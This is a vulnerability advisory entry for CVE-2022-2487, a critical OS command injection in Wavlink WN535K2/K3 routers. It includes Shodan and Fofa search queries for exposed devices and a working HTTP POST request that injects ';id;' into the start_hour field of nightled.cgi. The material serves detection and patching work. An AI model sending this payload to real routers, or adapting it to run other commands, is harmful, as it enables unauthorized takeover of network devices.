| Title | Wavlink WN535K2/WN535K3 - OS Command Injection |
|---|---|
| Author | For3stCo1d |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network. |
| Remediation | Apply the latest firmware update provided by the vendor to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93118 |
| CVE ID | CVE-2022-2487 |
| CWE ID | CWE-78 |
| Shodan Query | http.title:"Wi-Fi APP Login"http.title:"wi-fi app login" |
| Fofa Query | title="wi-fi app login" |
| Tags | cve cve2022 iot wavlink router rce oast vkev vuln |
Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection which affects unknown code in /cgi-bin/nightled.cgi via manipulation of the argument start_hour. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
POST /cgi-bin/nightled.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.1
Connection: close
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
page=night_led&start_hour=;id;
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2487.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2487.pcap
N/AN/A